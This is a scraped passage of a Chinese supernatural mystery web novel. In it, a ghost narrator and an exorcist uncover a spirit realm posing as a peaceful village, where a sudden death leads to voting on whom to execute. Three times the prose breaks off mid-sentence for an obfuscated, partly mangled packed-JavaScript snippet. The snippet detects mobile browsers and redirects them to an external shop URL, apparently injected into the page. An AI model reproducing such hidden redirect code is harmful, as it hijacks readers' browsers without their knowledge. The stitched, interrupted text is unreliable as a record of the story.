他略微皱眉,看向田玥的方向,似乎正看着什么令人痛心的事物。这样的表情从他脸上一闪而逝,却还是被我捕捉到了。 真奇怪,这人在想什么。 这个村庄分明这么宁静、祥和…… 我皱起眉,突然意识到有些不对——我为什么会有这种奇怪的想法? 就算这真是个好村子,我又是为什么来到这里的? ——等等,这里,是哪儿来着? 8. 爱与杀戮的桃源乡04 和田玥的母亲,也就是厨房的掌厨刘君雅还有帮厨程飞才打过招呼,我们前往村中最后一个重要的标志性建筑,学校。 学校坐落在村落的另一侧位置,低矮围墙围出一道小院,教室里人员萧条,共计三位学生加一位教师。 不如说这样一个只有十多人的村落里,竟然还能凑出这么四个人,坚持进行伟大教育事业(甚至还是高贵的高中教育),这事本身就让人挺钦佩的了。 其中担任老师的四十多岁中年人自称叫杨天明,长相很符合通常的中学老师形象,连发际线和分布不均匀的发根都神似。 然后这人下一秒就说自己进村前的职业正是高中教师,很好地解释了这种巧合。 他满怀自豪介绍学校:“别看学生少,学校可有三个老师呢。” 我的目光顿时更钦佩了。 “小方是村里的医生,”杨天明说着,拍拍方泰和的肩膀,“所以主教生物。” “还有一个小任,是大学生,教这里的物理和化学。剩下的语数外就都是我来教了。”杨老师朝学校旁边的另一个房间喊了两声,没人应答。 “小任大概是又出去了。”他道,“这小任没事就出去瞎溜达。” 从学校出来,这个村子里所有人便都见了一遍,除了那位喜欢瞎溜达的小任。 方泰和指着学校附近的几间屋子问我们:“村里的空屋有不少,这几间你们看怎么样?” 我从中挑了一间位置相对偏僻的。 刚才一路的聊天中,我和姚千已经向村民介绍过了我们两人的身份,是自然杂志前来采访的两名记者,他们倒也不奇怪我们没有携带摄影设备。 这间房子虽然是空屋,却并没有想象中的荒凉,布置着几件家具,甚至还有不少生活痕迹。我摸着桌子上的划痕,问道:“这间屋子以前住过人吗?” 方泰和打量着屋子:“大概住过吧。我也不是很清楚,可能是我和子宁来之前的事情了。没事,这里所有的房子都是村子的,不是个人的,你们就放心住就好了。” “这里没有私有财产?”我问。 左子宁笑笑:“怎么会呢,我们自己的东西当然还是自己的呀。” “不过吃饭啊日常用品这些东西,确实都是村里供应的。劳动者皆有食,这是村里的规矩。”方泰和解释道。 我点点头,看向屋中光秃秃的四壁,又想起什么:“村里哪儿有镜子吗?” 左子宁想了想,旋即道:“我屋子里有一把多余的镜子,可以拿给你。” 她和方泰和所住的屋子离这里并不远,等我们打扫完成,她也把镜子取了过来。 “本来就是多出来的一把,你先拿着用就好。”她将一面不大的镜子塞进我手里。 这会儿离晚饭还有一段时间,方左两人见已经没有什么好收拾的,便先行离开了。 确认他们完全离开后,我做的第一件事便是拿出镜子。 作为残灵醒来到现在,已经从夏至秋,大概有两三个月的时间了。而直到现在为止,我还从来没有见到过自己的样貌。 作为残灵,现实中除了电路外的其他物品,都是很难被我影响到的。同样的,镜子也不可能倒映出我的长相。 之前在石娅的灵域中,我原本也有机会在镜子中见到自己的影像,可惜那座黑色烂尾楼里没有镜子,加上其他事情耽误,我最终也没能得见镜子。 所以直到这时候,我才终于第一次得见自己的长相。 尽管在此之前确实做过一些相关猜测,但看着镜中的自己,我还是沉默了两秒,一时间不知道应当作何反应,片刻才转过头,语气郑重地质问姚千。 “如此重要的事,你居然没跟我说过。” “嗯?”姚千转头,有些茫然地看我一眼。 我再看看镜子,倒抽一口冷气,将视线挪开,一秒后忍不住转回去又看一眼,就跟被打了之后还要摸一把自己的伤口一样。 “我竟然长得这么……” 我在大脑中搜索词汇,搜索半天,憋出一句。 “花容月貌。” “……” 姚千没忍住,突然笑出声来。而后在我越来越冰冷的目光下将头转到了另外一边。 刚才的话虽然有开玩笑的成分,却也不完全是乱说。我适应着镜子里的样子,这张面孔有着近乎于令人一见难忘的美貌,这几乎是这张脸带给人的第一印象。 眉眼舒展,面无表情时唇边也含笑,令人乍一看便心生好感。 怪不得遇到的石娅、田玥,都对自己表现出了一定程度的亲和,这也好理解了。谁不喜欢好看的?我也喜欢。 撇去美貌带给人的冲击,我继续观察这张面孔的其他细节。镜子里的年轻女人看上去大概20岁出头,和姚千所说我失踪的年纪差不多,想来是从失踪后不久,我便已经遭遇不测变成了残灵。 其他方面来看,除了格外的漂亮外,这张脸上倒也没有什么异常有标识性的特点。非要说的话,这张脸上隐约展露出的神态气质,似乎较之寻常的大学生要更加……成熟一些。 又或者只是我的错觉而已。 对相貌的观察到此为止,我将镜子放下,走到姚千的椅子旁,直抒胸臆地询问他:“看你的样子,应该还记得我们来这里的所有原因吧?” 姚千反应了两秒,才看向我:“你忘记了?” 从现在我的记忆与现实的违和程度来看,忘记的应该还不少,我心中想道。 待我反应过来不对劲时,我仅存的记忆已经是千疮百孔,疏漏百出了。连我自己也搞不清楚,为什么我这样一个残灵,会用人类的姿态突然出现在这样一个怎么看,怎么都不太对劲的村落里面。 这一刻,我几乎有点能共鸣方才见过的那些村民了——恐怕他们的记忆也已经如此这般遭受了修改。只是因为其他原因,他们甚至不能像我一样意识到其中的古怪。 “我们并不是什么自然杂志的记者,也不是来这里观光旅游的。这里是一个灵域,对吧?” 我坐在姚千对面的另一张椅子上,从头开始梳理,“说实话,如果不是这里给人的违和感太严重,让我不自觉地发现了很多问题,说不定被洗脑的程度还会更加严重。” “但你还是发现,你的意识被影响了。”姚千道。 “对。”我点点头,“既然我能意识到这个灵域让我忘记了一些东西,说明我和这些被完全洗脑的村民还是不一样的。” “到底是什么,导致我被洗脑的程度减轻了?” 我自顾自继续分析道,“可能性有两种,第一种,因为我是残灵,相比于人类针对灵域的影响具有更多抗性。第二种可能则是,因为我体内存在着少许的灵力,抵御了部分灵域对我的影响。” “再结合你表现出的状态。”我一顿,看看姚千。 “你看起来完全不像是被美好祥和田园生活感染的样子,还是那张没什么表情的脸,半点儿幸福感都没有。” “既然你是人类,而且没有被洗脑,说明答案是第二种,我因为具备少许灵力的缘故,阻止了被洗脑的进程。” “你猜的没错。”听完我的分析,姚千道,“无论残灵还是人类,灵力都能在一定程度上延缓精神被影响的程度。” 他又补充道,“但是实际的情况因人而异,精神是进入灵域后最难应付的方面。” 接下来,姚千将进入灵域前的种种情况讲述了一遍。其实只要略作说明,便足够我回忆起大部分被灵域所影响的记忆。 “你这次回想起之后,再次被影响而遗忘的可能应该会大大减小。”姚千大概是在安慰,“再次回忆本身就是对记忆的一种巩固。” 我点点头,又想到什么:“这样说的话,这个村中,现在还有一个人是清楚情况的。就是第一个进入这个灵域,尚且没有被发现尸体的那位驱灵师。” “今天下午,我们已经见过了村里大部分人,而唯一没有见过的,就只有学校里的那个姓任的大学生了。” 姚千还记得他的名字:“那个驱灵师确实姓任,他叫任谊。” 聊到这里,也差不多到了晚饭时间。 虽然现在作为残灵,是不需要食物来维持生存的,但想要进一步了解这个灵域中的情况,就要做合群状,和村民打好关系。 更重要的是,在这个灵域中,我是可以尝到食物味道的,刚才在左子宁的巧克力豆上已经得到验证。 巧克力固然甜美,村中的晚饭更加值得期待。 食堂面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150828|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积不大,分成三条长桌,餐食也分成几盆承在铁制的大盆中,供自行打饭取用,看上去和普通的自助食堂没什么区别。 我和姚千到这里的时候,里面的人已经挺多,我看到一张没有见过的年轻脸庞待在食堂角落里,见到我们两人进来,朝我们笑了笑。 这人应该就是那位驱灵师任谊了。 我本想上去和他搭话,左子宁先一步喊了我的名字,招呼我们坐到她那里。本来也不能寄希望于在食堂这种大庭广众公开场合和任谊聊什么机密话题,我和姚千便坐到了左子宁这边的桌上。 左子宁看上去也不比我们来得早多久,方泰和两手各拿一份饭菜,刚刚帮她端过来。我和姚千也分别去打了饭,我在偶尔投来的怪异目光下面不改色地将餐盘中的菜色摞成一道高耸建筑,仿佛已经三天没吃过饭——事实可比这严重多了,我八年都没吃过了! 说是欢迎会,其实也没有多少特殊仪式,大抵就是菜色多了点,另外就是吃饭中途,村长带着大家共同碰杯一次,作为正式的欢迎。 除了左子宁和方泰和,我们对面坐着的便是村长杨谷,以及那位高中老师杨天明,这两人原本都是山下村庄的本地人。厨师刘君雅搬来酒水后,也带着田玥坐在了我们身边。 我不断往嘴里塞着饭菜,一边有一句没一句地和他们搭话聊天。 “说起来,我今天住进去的那间屋子,”我描述屋子的具体位置,“看起来之前是有人住着的。” 我明知故问:“那家人是已经离开村子了吗?” “当然不是。”杨天明一边吃饭,一边随口道,“哪有人主动会离开村子?都是邪灵干的。” 陌生的名词突然出现在对话里,我抬眼看向杨天明,眨眨眼做夸张的惊讶口吻:“邪灵是什么?” 村长杨谷打断了我们的对话,朝杨天明道:“别说了,那些事情都过去了。” 杨天明有些尴尬,大概也不理解杨谷的意思,只好笑了笑:“确实,反正不是好事情,过去了就不提了。没事的,你们放心住在那里就好,这些事都过去了。” 杨天明说出邪灵的那句话时,我也观察过左方和刘君雅母女的表情,这四人也对邪灵一词略感惊讶。 看来邪灵也并不是村中所有人都清楚的。 一餐饭比想象中结束得更快,左子宁说自己还有点事,和方泰和先一步走了。两人走到门口,方泰和又发现自己将帽子留在椅子上,于是又抽身回来拿。 我还在专心扫荡着餐盘里的剩余菜色,直到门口突然传出一声破音的惊叫。 紧接着是方泰和的惊呼。 “子宁!” 我循着声音看过去,门口已经看不见左子宁的身影。 方泰和飞身冲出门,我紧跟在后,看到了已经躺倒在地的左子宁。 她脸色苍白,额头水淋淋一片汗湿,躺在地面上的四肢正剧烈抽搐,扭曲出不属于正常肢体的形状。方泰和迅速将她的上半身揽在怀里,旁边站着的则是刚才发出叫声的男人,似乎叫孔文,正满脸无措地看着这一幕。 方泰和语气急促,像电视剧里的经典场面一样摇晃着怀里的年轻女人:“子宁,你怎么了?哪里不舒服?” 左子宁浑身颤抖着,嘴唇蠕动,眼神涣散,似乎还想说什么,但已经一个字都说不出来。 她的眼睛扫过方泰和,扫过孔文,又扫过紧跟着过来的我和许多其他人。不知是不是我的错觉,她已经近乎失去焦距的目光似乎定格在了我的身上。 她的目光如同伸出手,紧紧攥住我。我无法挣脱,却又怀疑这是否是我的错觉。正当我起身上前想要尝试和她说些什么,左子宁黑色的眼珠突然放过我,剧烈地蜷起眉,仿佛是受到怎样的刺激,眸子里一瞬间恢复清明,投射出难以置信的神采。 只这么一瞬,短到仿佛只是幻影的一瞬间过去,她的眼睛终于再次地失去光亮,彻底朝上翻过去。 连眼睛也不能完全阖上,左子宁的上下眼皮间剩下一道眼白。脖颈连同四肢连抽搐的气力都消失,彻底变得柔软,头朝着一侧歪过去,整个人摊入方泰和的怀里。 方泰和的神色从惊慌变成恐惧,我上前将手伸到左子宁的鼻间,又握住她的脉搏。 左子宁死了。 9. 爱与杀戮的桃源乡05 死亡来得如此迅速,尽管眼前的左子宁并不完全算是一个人类,但在这种地方,魂灵的死亡和真正的死亡其实也没有本质上的区别。 我回想起那个与植物人无异的木秋——左子宁的下场显然不会比她更好。 左子宁的死亡显然打断了食堂原本热闹祥和的氛围,食堂众人在门口涌出一团人墙。 方泰和仍然停在抱住左子宁的动作,整个人因为突如其来的变故而变得有些呆滞。我站起身,问刚才最初发出声音的男人,他仍然站在原来的位置:“刚才发生了什么?” 孔文看看我,又看看左子宁,喉结随着吞口水的动作而上下动了动:“我……不知道,我只是刚出食堂,看到子宁站在这里等着。” 他指着左子宁倒下的地方,这个位置正在食堂正门的出口一侧,离门口还有两三米的距离,故而在正常角度下,食堂里的人是无法看到左子宁的,只有走到食堂门外的,才能够看到她。 “我和她打了个招呼,就准备走来着。我转过身,就听到倒地的声音……就是这样。” 我又问:“你和她打招呼的时候,她在干什么?” “就是,站着,背对着我,站在那里……大概也没干什么。”孔文似乎在努力回想,露出那种越是回想越是发现记忆一片空白的表情,最后只好说,“其实我也没看清楚。” “她就是等我回来取个帽子,她能做什么?”方泰和好像终于取回对身体的控制权,朝我斥道,“这不是明摆着吗?她是被毒死的!” 方泰和无处宣泄的恐惧和悲伤转变成愤怒,带着攻击性的目光从孔文身上扫过去,又掠过我。我十分好心地开口提醒他:“但如果说她是被毒死的,那么现在最有嫌疑的人,就应该是你了。” “我?”他眼睛猛地瞪圆,刚想说点什么,突然,他怀中的左子宁身体开始变得透明。 在我的视野中,方泰和被她压住的衣服皱褶不断复原,显然左子宁在不断变得更轻,只数十秒间,整个人便从方泰和的怀抱中消失无踪了。 “她是被邪灵杀掉了。” 村长杨谷的声音从人群中传过来。她今天离开食堂比较早,大概是刚刚被人喊回来,声音中却没有方泰和那种慌张和恐惧。倒不如说,她的态度像是对处理这种事早已经轻车熟路。 突如其来的死亡并不在她的意料之外。 在已经完全暗下去的夜色中,我借着食堂门中透出的灯光,悄悄打量过在场所有人的神色,发现了更有趣的一点——杨谷并不是一个人。 除了刘君雅、田玥,其余人眼中都带着那种眼神,包括任谊,他的神色中也没有十分明显的意外。 显然,在这个村落里,死亡并不是什么很稀罕的东西。 邪灵,消失的村民,突然的死亡。我眯起眼,在心里发出一声冷笑。 当然了,当然应该是这样的了。我和姚千来到这里,是来寻找灵域的真相,寻找那些魂灵被杀死的人死去的原因。充满了温情与幸福的桃源乡,当然不是这个村落的真实面目。 十多分钟后,方泰和已经被杨谷安抚好情绪,其他离开较早的村民也被喊了回来,村长站在众人的视线中,语气平静,很有些安抚人心的效果:“既然事情已经发生了,说明邪灵再次出现在了我们桃源村之中。” “现如今,我们所要做的,就是像之前那样,将邪灵从我们的村落中,驱逐出去。” 在她的带领下,我和姚千跟着井然有序的村民们走进了食堂附近的另一个院落中。之前左子宁和方泰和并没有带我们进来过这里,且由于村中的空屋确实很多,我最初也没有注意过这间院落。 打开大门踏入院落,我才发现,院中坐落着的并不是一间普通的住房,而是一间祠堂。 这是一间和大多数人第一印象完全一致的祠堂,从外形来看毫无特别。但这里实际上又是个相当的险恶之处,比如说在我踏入院门的这一刻,原本清晰的回忆和情绪又开始轻微地模糊起来。 这是一种很微妙的感觉,和最初进村时被莫名修改了记忆的感觉不同,这间祠堂给人的感觉更具攻击性,仿佛此刻正有什么东西存在于这间祠堂之中。 正是这种存在,在对我的情绪进行着篡改,一种并无理由的敬畏之情从我心底冒出来,显然是灵域的手笔。我一边品味着这种情绪,一边用目光巡视着祠堂的内部环境。 踏进祠堂的内部,很快又会觉得这间屋子并不是那么地像是一间祠堂了。 最明显的一点是,这间祠堂连基本的神像都没有,摆放在中间的长桌空空如也。 又或者说,这张桌子只是从制式上来讲很像是一张属于祠堂的长桌,可上面却只有一本薄薄的册子,除此之外,甚至没有一个祭拜所用的香炉。 仿佛是每天都有人专门打扫,这张长桌干净得一尘不染,几乎是有些违和了。 除此之外,这间祠堂也没有什么其他东西。如果不是现在这里面实在有很多人,任谁独自进去,大概都会有一种古怪的空荡感。 我们一行人跟着村长走进祠堂,看到她拿起了这本书。其他人自觉和她拉开距离,停留在祠堂的中间位置。 杨谷翻开书,朝我们转过身来。 祠堂顶部的一盏昏暗灯光,将她脸上的神色打亮,画出轮廓分明的阴影。 “泰和,”她喊方泰和的名字,又接连喊出刘君雅等人,以及我和姚千。方泰和和我距离不远,我甚至能明显感受到他正因为畏惧而颤抖身体。 看上去,村民多半也感觉到了祠堂带给人的情绪压迫,方泰和已经完全被灵域所赋予的情绪所控制。 “你们来到村里的时间没有那么久,还不清楚邪灵的事情。” 杨谷语气温和,安抚意味浓重,莫名让我想起宰杀家畜前惯性的安抚动作,“不必担心,早在邪灵第一次入侵之前,神灵便已经将对抗邪灵的一切记载在了这里。” 她扬了扬手中的书,“正因如此,我们才一次一次地击退了邪灵,维护了村里的和平和幸福。” “你是说,子宁是被邪灵杀死的?”方泰和的声音有些发抖,“可她明显是被毒死的。” “邪灵并不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150829|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接杀人。”杨谷平静地讲解道,“他们通过附着在人身上的方式,操纵我们的亲人去杀人。” 不得不说,听到这里,一些猜想已经在我心中逐渐成型了。 我甚至几乎猜到杨谷接下来要说些什么东西了。 “根据书中的记载,能够真正杀死邪灵的方法只有一个。” 杨谷顿了顿,声音庄严起来。 “通过投票,将邪灵附身的罪恶者找出,只有这样杀死那个人,邪灵才会真正离开我们的村庄。” 一阵沉默。 刘君雅似乎吞了口吐沫,声音颤抖地问道:“什么投票,怎么投票?” “很简单,我们将在接下来每一天的清晨进行一场投票。得到票数最多的那个人,会被再次投票确认是否将他作为被附身者处决。”杨谷道,“两次投票,在大家的一致意见下被最终处决的邪灵,会被真正杀死。” “也就是说……被邪灵附身的那个人也会死?”刘君雅呼吸有些急促。 “被邪灵附身的那一刻,他就已经死了。”杨谷的声音加重了些,义正词严道,“不是我们要杀死他,是从邪灵的手中,将平静归还给他。” 刘君雅低下眼,似乎是还有什么话想要争辩,但终于还是没有说,沉默着接受了杨谷所说的一切。 她不做声了,方泰和又问道:“那么如果那个人没有以这种形式被杀死呢?” 他顿了顿,又道,“就是,如果有一个人找出了被附身的那个人,但是不能说服大家,导致那个人不能被我们所处决……那么私自杀死被附身者,是可以的吗?” “这是没有意义的。” 杨谷摇摇头,“不被大家认可所处决,邪灵不会死亡,只是会从一个人的身上附着到另一个人的身上。” “村中的杀戮不会停止,邪灵还将继续作恶。” 杨谷的声音在这座小小的祠堂里回荡,掷地有声。 “所以,投票和处决,都是必须的。” 只短短十多分钟,讲解便已经基本结束。显而易见,这场会议的主要用意,是让还没有经历过这件事情的新人,也就是半年内才来到这里的方泰和、刘君雅等人,当然也包括我和姚千,了解和承认这些规则。 村里那些“老人”,显然已经对这一切了然于心。 讲道理,这村子实在不该叫做桃源村,狼人村才实至名归。 杨谷说到一半时,我也已经猜到了。 木秋曾经说过的话、茂山中尸体被发现的频率,这些已经足够说明很多问题。之前那些受害者的魂灵在村中死亡,显然就是灵域中每年发生的“邪灵”事件导致的。 邪灵控制村民,杀死其他村民,而后被控制的村民遭到处决。每次这样的事件,都将伴随着至少两名甚至四到五人的死亡,正对应了茂山上每隔大半年就会出现四五个受害人遗体的情况。 这就是灵域杀人所使用的手段? 杀人也就杀人了,绕出这么一大圈,制造出“邪灵”这种存在和引申而来的这一串麻烦事情——其中用意,又是什么? 10. 爱与杀戮的桃源乡06 讲话的最后,杨谷道:“从今天起,每天清晨的早饭后,我们每个人都需要来到这里,投出自己的一票。接下来,邪灵的杀戮将会在村中继续进行,下一个死亡的可能是我们中的每一个人。” “我相信这其中的重要性不必我多说。” 祠堂中一片肃穆安静,不知道是不敢还是不想,总之没人质疑她的话语。 会议结束,众人走出祠堂,大多数人看上去都还挺平静,只有方泰和流露出明显的失魂落魄,朝着村外方向,不知要流荡到哪里去。这节骨眼上,这个之前一派温情脉脉的村子里,居然也没人多管闲事,去关心他的心理状况。 另一边,迟迟未能完成情报交换的驱灵师任谊此刻终于找到顺路的名义,跟上了我们。 我借着夜色打量他,这人看起来大概20左右年纪,戴一副大方框的透明塑料眼镜,个子175出头,身材偏瘦,很有些学生气质。 走到一半,确定周围没有人能听到我们的对话,他朝我们笑笑,伸出了手。 “姚先生你好,久闻大名。正式介绍一下,我叫任谊,是去年10月进入这里的驱灵师。” 姚千和他握手:“你好,我在外面拿到了你的资料。” “苏小姐你好,”任谊又伸手和我相握,“你也是一起来的驱灵师吗?” 我摇摇头,想来这人似乎也没看出我的残灵身份,干脆将这件事含糊了过去:“是姚大师的助手。” 他却道:“苏小姐谦虚了,我应该在哪里听说过苏小姐的名字。” “哪里?”我感兴趣地问。 “……想不起来了。” “好吧。”我笑了一下,没当回事。 本人怎么说也死了足有八年时间,说眼前这个任谊记得些什么,应该也不太可能。 说话间,任谊已经跟着我们进到了暂居的院落之中。关好房门,这位已经在村里待过一年以上的驱灵师向我们讲述了自己进入村子后的经历。 最初进村后,任谊也和我一样,情绪受到控制,险些忘记了自己进入灵域的目的,但基于灵力加持,他还是很快清醒了过来。 当时的任谊花了很长时间,想唤醒村中的村民,但多次尝试都以失败告终。 “村民不但极难唤醒,即便唤醒后,也会很快忘记自己曾被唤醒的事实。”任谊这样描述道。 数次失败后,任谊开始在村民中寻找灵域的主人,试图以此作为突破口。 但仍然没有出现什么突破性的进展。 甚至直到第二位驱灵师进入这里时,他才意识到,自己已经孤身在这个灵域中度过了三个月的时间。 “虽然我能够清楚地意识到自己处在灵域之中,但精神还是无可避免地受到了灵域的影响。” 任谊道,“如果没有曹玉成的点醒,我根本就无法意识到自己已经被困三个月的事实。按照我自己的体感,还以为只过去了两个星期左右——灵域会扭曲人对时间的感知。” “也正因如此,这个村落中对所有人,尤其是孩子们的年纪并没有增加的情况,也不会有所察觉。” “那曹玉成又是怎么死的?”姚千问。 根据资料上所说,第二位进入灵域的驱灵师曹玉成,在进入灵域后的一周多后,便被人发现了他的尸身。 任谊的表情顿时沉重许多,片刻才道:“我也不确定。” “他的做法相对激进,我又偏向于保守,我们两个意见无法达成一致的情况下,其实都是单独行动的。” “我只能说,他应该是被灵域主人所杀死的。” “他大概是触发了什么灵域的规则,或者是探知到了什么秘密,才突然被杀。” “毕竟在这个灵域里,我所见和听到的所有死亡,都只有一种,就是被其他村民所杀死。而他却是唯一的例外。” 我问:“他死前发现的东西,也没有过告诉你吗?” “他临死前的一晚,确实对我说过。”任谊的声音有些沉重,“他认为突破口在祠堂,在那里,他就可以获知这个村中最大的秘密。” “但是我问他更多的理由,他也就不说了,说目前只是一种猜测,还没有十足的把握。 “而就在他说出那番话的当晚,我感受到了来自祠堂方向的强大灵力,赶到那里时,曹玉成的魂灵已经消失了。 “和被村民杀死的过程不一样,他是直接被灵域主人杀死的。” 我思考片刻,追问道:“这间祠堂在村里,是不是除了刚才村长杨谷所说的会议所用外,还有其他的用处?” “没错。”任谊点头,“你们应该也察觉到不对劲了吧?这个村子里虽然也有人种植农作物,但无论是从品类还是数量上,都是无法满足村中人正常生活所需的。不仅如此,这个村子也无法产出和购买到日用品,但大家却从来不缺少这种东西。” 他一顿,“虽然这个村子里一直有着‘劳者有所食’的口号,但事实上,所谓的农作物种植,仅仅只是为了维持稳定而产生的一种劳务罢了,并不真的是为了生产什么粮食。” 我已经明白了:“所以,那张巨大的桌子,是这种作用?” “没错。”任谊道,“村中所有维持日常生活所需的物品,都会在清晨出现在祠堂的这张长桌上,被称之神明的恩赐。那本记载了如何驱逐邪灵的小册子之所以受到这样的崇敬,一部分来自于灵域本身对村民精神的影响,另一方面也与此有关。” 民以食为天,不知道自己是残灵的村民当然也是如此。 我心中吐槽着,听到姚千问道:“所以,到现在为止,你对这个灵域的了解,进展如何?” 任谊苦笑:“不算多。距离破解这个灵域还很远。” “但无论如何,总算也有一些。”他想了想道,“这个要从头说起,” “这个村中到现在为止,一共发生过三次邪灵降临。正如村长所说,每一次邪灵降临,都会投票处决村民,直到选出真正的‘邪灵’。 “比如我所亲自经历的第三次降临,是一位叫做木秋的年轻女人,先后杀死了她的丈夫和朋友。经历过一次错误的投票,在第二次投票中,她被杀死后,才不再有人被害。” 我听出了他的重音所在:“被杀的人,是‘邪灵’的丈夫和朋友——关系很好的朋友?” “对,可以说是木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150830|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋最好的朋友。”任谊肯定道,“再往前的两次邪灵降临,其实都有类似的特征。村里也有人意识到了这一点,有人认为是由于关系亲近,才会更好下手,但结合残灵灵能力的特征,我认为这应该是邪灵操纵着那个附身的村民,所故意为之的。” 姚千露出明了的神色,我仍有些不明所以:“为什么?” “情绪与灵能力紧密相关。越是心智复杂、情绪强烈的残灵或灵能力者,越可能拥有更强大的灵能力。”姚千解释道,“又或者说,残灵和灵能力,本质上都是情绪的某种映现。” 任谊也道:“灵域中的魂灵越是爆发出激烈的情绪,越可能因此产生更多的灵力,从而被灵域主人所吸取。他作祟使所谓的‘邪灵’降临在这个村落中,又制定出复杂的规则,其本质目的,恐怕就是想让原本生活在幸福之中的村民,在杀与被杀之中产生强烈的情绪,从中生成灵力。” “所以,”我接着他的话继续道,“你认为这个灵域主人圈养魂灵,制造‘邪灵’,就是为了激起村民们的强烈情绪。” “而被杀者和邪灵附身者之间具有更加亲近的关系,也是刺激情绪的一个方面。” 杀死友人或爱人,又或者被这些人所亲手杀死,所产生情绪的激烈程度也是可想而知。 何况,在这个村落中,村民们平日里都过着温馨和睦的集体生活。 幸福生活才能和残忍血腥的杀戮形成巨大反差。桃花源般的平静日常,不过是灵域主人培养残酷情绪的养料罢了。 “对。”任谊朝我们道,“所以,关于邪灵所附身的人究竟是谁,其实已经十分明显了。无论从作案方法还是关系上来看,应该都没有别人可供怀疑了。” “至于到底要不要投票选出他来,或许你们也有自己的想法。” 任谊顿了顿,“毕竟如果投票杀死他,也算是帮助灵域杀死了被害人。而如果放任邪灵继续在村中杀人的话,则可能会造成更多人的死亡。” 说着,他叹了口气,“其实,在上一次的投票中,我也经历过这样的选择。尽管木秋是无辜的,但如果我不去亲手推动她的死亡,那将意味着更多村民的死亡。” “这是无法避免的事情。”他抬眼看向姚千,“我说这些,是希望你们能对明天清晨的投票有一些心理准备。” 任谊神色严肃,将话已经说得十分明白。 “毕竟,根据今天和情况,还有两人的关系,明天被投票的人,多半就是他了。” …… “昨天将饭菜端给子宁的人,就只有你了。” 杨天明冷冷地看着方泰和,继续道,“很显然,子宁是中毒而死的,而你就是最有可能给他下毒的人。” 距离昨天我们和任谊的谈话,已经过去了一整晚。 清晨,祠堂中,所有吃完早饭的村民聚集在一起,组织出一次能够决定他人生死的投票。 昨天在食堂中和我们相对而坐的杨老师第一个开口,语气犀利,毫不犹豫地将矛头指向了看上去仍然没能将丢失魂魄找回来的男人。 方泰和,死者的男友,也就是任谊昨晚所说,最可能被邪灵所附身的那个人。 11. 爱与杀戮的桃源乡07 “作为经历三次邪灵降临的人,对于邪灵杀人,我多少也有点认识了。”杨天明甚至开始宣布自己的解题思路。 “越是和被附身者关系亲近的人,邪灵杀起来越是不会手软。”他拧着眉看向方泰和,做出结论,“越可能是真正的杀人凶手。” “你凭什么用这些毫无根据的言论来揣测我?”方泰和不堪指认,抬起头和他对视,青年男人失神的双眼重新聚焦,眉毛皱起来,显出焦虑恐惧。 杨天明与方泰和对视一眼,毫不退让,反倒冷笑了一声,态度鲜明:“哼,多少次,我们都被这样毫无意义的辩解蒙蔽了头脑,没能投票出真正的凶手。” 他的声音抬高了些,口吻里很有一些引导的意思,“之前赵睿、木秋的事情,我们也应该得到教训了吧?” “我同意天明的看法。”帮厨程飞才的声音细细的响起来。 这人倒是没敢和方泰和对视,又飞快地补上一句,“当时木秋的事情,我也投错了。” 见到有人支持,杨天明更有了底气,继续讲起了当年木秋的事情:“大家还记得吧,正因为田事仁是木秋的丈夫,我们才没能发现真正的凶手。” “等木秋再杀死第三个人时,为时已晚,我们已经过一次错误的投票……”杨天明的声音哽在此处,竟然一时不能继续说下去。 屋子里出现短暂的寂静。 在杨天明的情绪带动下,众人也随之激动起来,话题逐渐拐到一年之前。有人坚持声称反正当初投错票的不是自己,有人则趁机指责起了他人的随意投票。 指着指着有两人互相吵起来,眼瞅着想要动手展开一番以武服人之际,村长终于按捺不住,高声振断争吵。 “这些已经过去的事情,就没有必要再讨论了!” 村长威信颇足,一句话之下,讨论竟然就这么戛然而止。而我趁着这群人讨论的时间里,浑水摸鱼朝姚千提出的问题,也在恰在此时得到了回答。 “木秋确实说她只杀了两个人。”姚千低声回道。 由于灵域对记忆的影响,我对之前很多资料的细节都已经不甚明了。尽管如此,杨天明提到木秋一共杀死三人时,我还是感到了些许违和。 果然,经姚千确认,在木秋的自述里,她只杀了两个人。 原来如此——那么事情也就明了了。 我朝着对面看去,任谊的目光恰好也落在我们两人身上。 此刻众人已经由新的问题——杀人者是否是方泰和——展开了新一轮的争吵,而我与任谊对视一眼,也已经读懂了他的意思。 他想知道我们到底会对此作何反应。 可惜,任谊抱有殷切期待的驱灵大师姚千此刻不为所动,嘴像是被胶水密封了,毫无发言的打算。 “只不过是因为我帮子宁端了饭,你们就断定是我做的?” 这会儿,人群的中心地带,方泰和还在和杨天明对垒争吵,声音越来越失控,“昨天在大庭广众之下,我怎么可能有机会给她下毒!” 